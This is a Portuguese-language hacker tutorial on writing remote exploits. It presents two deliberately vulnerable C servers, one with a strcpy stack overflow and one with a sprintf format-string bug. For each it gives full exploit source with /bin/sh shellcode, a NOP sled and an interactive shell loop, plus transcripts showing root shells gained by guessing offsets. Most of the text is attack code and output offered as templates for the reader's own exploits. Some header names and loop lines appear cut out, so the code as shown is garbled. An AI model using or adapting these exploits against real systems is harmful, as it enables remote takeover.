----------------------- | Escrita de exploits | | remotos | ----------------------- Desenvolvido por Gold Boy gold_boy@ig.com.br INTRODUCAO ----------- Escrever um exploit nao eh nenhum bicho de sete cabecas, e sim uma arte, uma arte que qualquer um que tenha vontade pode aprender. Esse texto nao eh bem um tutorial, apenas escrevi alguns exemplos para servirem de base para seus futuros exploits, e dei algumas explicacoes. Eu escrevo para Newbies, por tanto se voce for elite ou se conssidera assim, eh melhor nao perder seu tempo aqui! Bom agora vamos ao que realmente nos interessa. OVERFLOW TRADICIONAL --------------------- Bom como eu disse escrever um exploit remoto nao tem nada de complicado a unica coisa ruim eh que nos praticamente nos teremos que adivinhar o endereco que devemos escrever. Jah que voce sabe como funciona um buffer overflow, nao sera nescessario eu ficar explicando isso aqui, caso nao saiba, recomendo dar uma olhada na HP da unsekurity (unsekurity.virtualave.net), lah voce ira encontrar todos os requisitos para o entendimento deste tutorial. A baixo segue um programa bugado: /* vuln1.c */ #include #include #include #include #include #include int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid; struct sockaddr_in serv_addr; struct sockaddr_in client_addr; // funcao bugada void makeovr(char ovr[2048]); int main (int argc, char *argv[]) { char overflow[2048]; soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (soc_des == -1) exit(-1); bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = htonl(INADDR_ANY); serv_addr.sin_port = htons(atoi(argv[1])); soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr)); if (soc_rc != 0) exit(-1); soc_rc = listen(soc_des, 5); if (soc_rc != 0) exit(0); while (1) { soc_len = sizeof(client_addr); soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len); if (soc_cli < 0) exit(0); write(soc_cli,"Escreva uma frase\n",18); read(soc_cli,overflow,sizeof(overflow)); printf("%s\n",overflow); dup2(soc_cli,0); dup2(soc_cli,1); dup2(soc_cli,2); makeovr(overflow); close(soc_cli); } } void makeovr(char ovr[2048]) { char over[1024]; // Aqui ocorre o overflow strcpy(over,ovr); } Certo antes de escrever o exploit para ele voce precisa pegar o endereco em que voce ira escrever, como o exploit eh remoto nao tem como usar o velho esquema: __asm__("movl %esp,%eax"); Entao as coisas ficam mais dificeis. Primeiro compile o programa acima com: $ gcc -o vuln1 -ggdb vuln1.c Depois vamos usar o gdb: $ gdb vuln1 GNU gdb 19990928 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) break main Breakpoint 1 at 0x8048769: file vuln1.c, line 16. (gdb) break makeovr Breakpoint 2 at 0x804897d: file vuln1.c, line 55. (gdb) r 30000 Starting program: /home/gold/prog_c/overflows/txt2/remotos/vuln1 30000 Breakpoint 1, main (argc=2, argv=0xbffffb84) at vuln1.c:16 16 soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); (gdb) c Continuing. Agora voce deixa aqui como esta e abra outro terminal, nele voce digita: $ telnet 127.0.0.1 30000 Trying 127.0.0.1... Connected to 127.0.0.1. Escape character is '^]'. Escreva uma frase digita qualquer coisa aqui [ctrl + c] Agora volta para o terminal do gdb: Continuing. digita qualquer coisa aqui ^ Breakpoint 2, makeovr (ovr=0xbffff31c "digita qualquer coisa aqui\r\n^\004") at vuln1.c:55 55 strcpy(over,ovr); (gdb) printf "%p\n",over 0xbfffeefc (gdb) k Kill the program being debugged? (y or n) y (gdb) quit Pronto agora temos o endereco (0xbfffeefc), agora jah podemos escrever o exploit: /* exp1.c */ #include #include #include #include #include #include #define NOP 0x90 char shellcode[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; main (int argc, char *argv[]) { int sock, c, ret=0xbfffeefc,y; char buffer[2048],rcv[50]; fd_set fds; struct sockaddr_in vitima; if (argc < 3){ printf("Uso: %s [offset]\n",argv[0]); exit(0); } if (argc > 3) ret += atoi(argv[3]); for (c=0;c<(1028-strlen(shellcode));c++) buffer[c]=NOP; for (y=0;y> 8; buffer[c++]=(ret & 0xff0000) >> 16; buffer[c++]=(ret & 0xff000000) >> 24; sock = socket(AF_INET,SOCK_STREAM,0); vitima.sin_family = AF_INET; vitima.sin_port = htons(atoi(argv[2])); vitima.sin_addr.s_addr = inet_addr(argv[1]); bzero(&(vitima.sin_zero),0); connect(sock,(struct sockaddr *)&vitima,sizeof(vitima)); read(sock,rcv,sizeof(rcv)); printf("%s\n",rcv); write(sock,buffer,strlen(buffer)); while(1){ FD_ZERO(&fds); FD_SET(sock,&fds); FD_SET(0,&fds); select(255,&fds,NULL,NULL,NULL); if(FD_ISSET(sock,&fds)){ memset(rcv,0x0,sizeof(rcv)); ret=read(sock,rcv,sizeof(rcv)-1); if(ret <= 0){ printf("Conexao Fechada!\n"); exit(-1); } printf("%s",rcv); } if(FD_ISSET(0,&fds)){ memset(rcv,0x0,sizeof(rcv)); read(0,rcv,sizeof(rcv)-1); write(sock,rcv,sizeof(rcv)); } } close(sock); } Como voce pode ver esse exploit eh muito simples, o segredo esta no final dele: while (1) { FD_ZERO (&fds); FD_SET (0, &fds); FD_SET (sock, &fds); select (255, &fds, NULL, NULL, NULL); if (FD_ISSET (sock, &fds)) { memset (rcv, 0x0, sizeof (rcv)); ret = read (sock, rcv, sizeof (rcv) - 1); if (ret <= 0) { printf ("Conexao fechada\n"); exit (-1); } printf ("%s", rcv); } if (FD_ISSET (0, &fds)) { memset (rcv, 0x0, sizeof (rcv)); read (0, rcv, sizeof (rcv) - 1); write (sock, rcv, strlen (rcv)); } } Se voce entende de sockets jah deve ter percebido como isso funciona, agora vamos testar nosso exploit. Como root execute o programa vulneravel: # ./vuln1 40000 & [1] 1183 # Agora com um usuario qualquer execute o exploit: $ ./exp1 127.0.0.1 40000 0 Escreva uma frase Conexao fechada $ ./exp1 127.0.0.1 40000 100 Escreva uma frase Conexao fechada $ ./exp1 127.0.0.1 40000 1000 Escreva uma frase id uid=0(root) gid=0(root) groups=0(root) exit Conexao fechada Como pode ver precisei chutar alguns offsets, mais depois de algumas tentativas funcionou. Bom esse foi apenas um exemplo para te ajudar a escrever outros exploits remotos, como eu disse nao eh nenhum bixo de sete cabecas. FORMAT BUG ----------- Bom agora vou mostrar como exploitar um format bug remotamente, eh nescessario ter um conhecimento basico desta tecnica, na HP da unsekurity tem um artigo que eu fiz sobre format bugs se quizer de uma olhada nele. Abaixo segue um simples programa com um format bug: /* vuln2.c */ #include #include #include #include #include #include void copia(char rcv[1024]) { char buffer[1024]; // Aqui esta nosso Format Bug sprintf(buffer,rcv); } main(int argc, char *argv[]) { int sock,newsock,len; char rcv[1024]; struct sockaddr_in local; struct sockaddr_in remoto; sock = socket(AF_INET,SOCK_STREAM,0); local.sin_family = AF_INET; local.sin_port = htons(atoi(argv[1])); local.sin_addr.s_addr=inet_addr("127.0.0.1"); bzero(&(local.sin_zero),8); bind(sock,(struct sockaddr *)&local,sizeof(local)); listen(sock,5); printf("Programa aguardando conexoes na porta %s\n",argv[1]); len=sizeof(remoto); newsock=accept(sock,(struct sockaddr *)&remoto,&len); write(newsock,"Escreva uma frase\n",strlen("Escreva uma frase\n")); read(newsock,rcv,sizeof(rcv)); printf("Enviado: %s\n",rcv); dup2(newsock,0); dup2(newsock,1); dup2(newsock,2); copia(rcv); close(newsock); close(sock); } Bom agora precisamos fazer o mesmo esquema que foi feito com o outro programa com o gdb para pegar o endereco. Nao eh nescessario eu repetir o esquema todo aqui de novo, se nao se lembrar como fazer olhe o esquema :) Pronto eu encontrei o endereco 0xbffff2c8 com o gdb, agora basta comecar a escrever nosso exploit: #include #include #include #include #include #include #define NOP 0x90 #define BUFSIZE 1024 char shellcode[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; main(int argc,char *argv[]) { int ret=0xbffff2c8; char *fmt="%013x",buffer[BUFSIZE + 1],*p=buffer,rcv[100]; int sock,nops=BUFSIZE - strlen(shellcode) - 4 - strlen(fmt),c; fd_set fds; struct sockaddr_in vitima; if (argc < 3){ printf("Uso:\n%s [offset]\n",argv[0]); exit(0); } if(argc > 3) ret += atoi(argv[3]); for (c = 0;c> 8, (ret & 0xff0000) >> 16, (ret & 0xff000000) >> 24); sock = socket(AF_INET,SOCK_STREAM,0); vitima.sin_family=AF_INET; vitima.sin_port=htons(atoi(argv[2])); vitima.sin_addr.s_addr=inet_addr(argv[1]); bzero(&(vitima.sin_zero),8); connect(sock,(struct sockaddr *)&vitima,sizeof(vitima)); read(sock,rcv,sizeof(rcv)); printf("%s\n",rcv); write(sock,buffer,sizeof(buffer)); while(1){ FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sock,&fds); select(255,&fds,NULL,NULL,NULL); if(FD_ISSET(sock,&fds)){ memset(rcv,0x0,sizeof(rcv)); ret=read(sock,rcv,sizeof(rcv)-1); if(ret <= 0){ printf("Conexao fechada\n"); exit(-1); } printf("%s\n",rcv); } if(FD_ISSET(0,&fds)){ memset(rcv,0x0,sizeof(rcv)); read(0,rcv,sizeof(rcv)-1); write(sock,rcv,sizeof(rcv)); } } close(sock); } Esse exploit eh praticamente igual ao do meu artigo, e nele tambem usei o mesmo metodo para esperar a shell com a funcao select, nao tem muito segredo basta prestar atencao nele. Vamos testar o exploit: Num terminal como root: # ./vuln2 40000 Programa aguardando conexoes na porta 40000 Em outro terminal: $ ./exp2 127.0.0.1 40000 0 Escreva uma frase Conexao fechada $ ./exp2 127.0.0.1 40000 100 Escreva uma frase Conexao fechada $ ./exp2 127.0.0.1 40000 1000 Escreva uma frase id uid=0(root) gid=0(root) groups=0(root) exit Conexao fechada Como pode ver precisei chutar alguns offsets novamente, mas funciona. Espero ter te ajudado em alguma coisa. TERMINANDO ----------- Bom esse foi apenas um texto com alguns pequenos exemplos de exploits remotos para servirem de base para seus futuros exploits, quem sabe um dia eu venha a publicar outro tutorial com algo mais avancado, mas antes disso pretendo terminar outros textos. Fiquem atentos. Um abraco, Gold Boy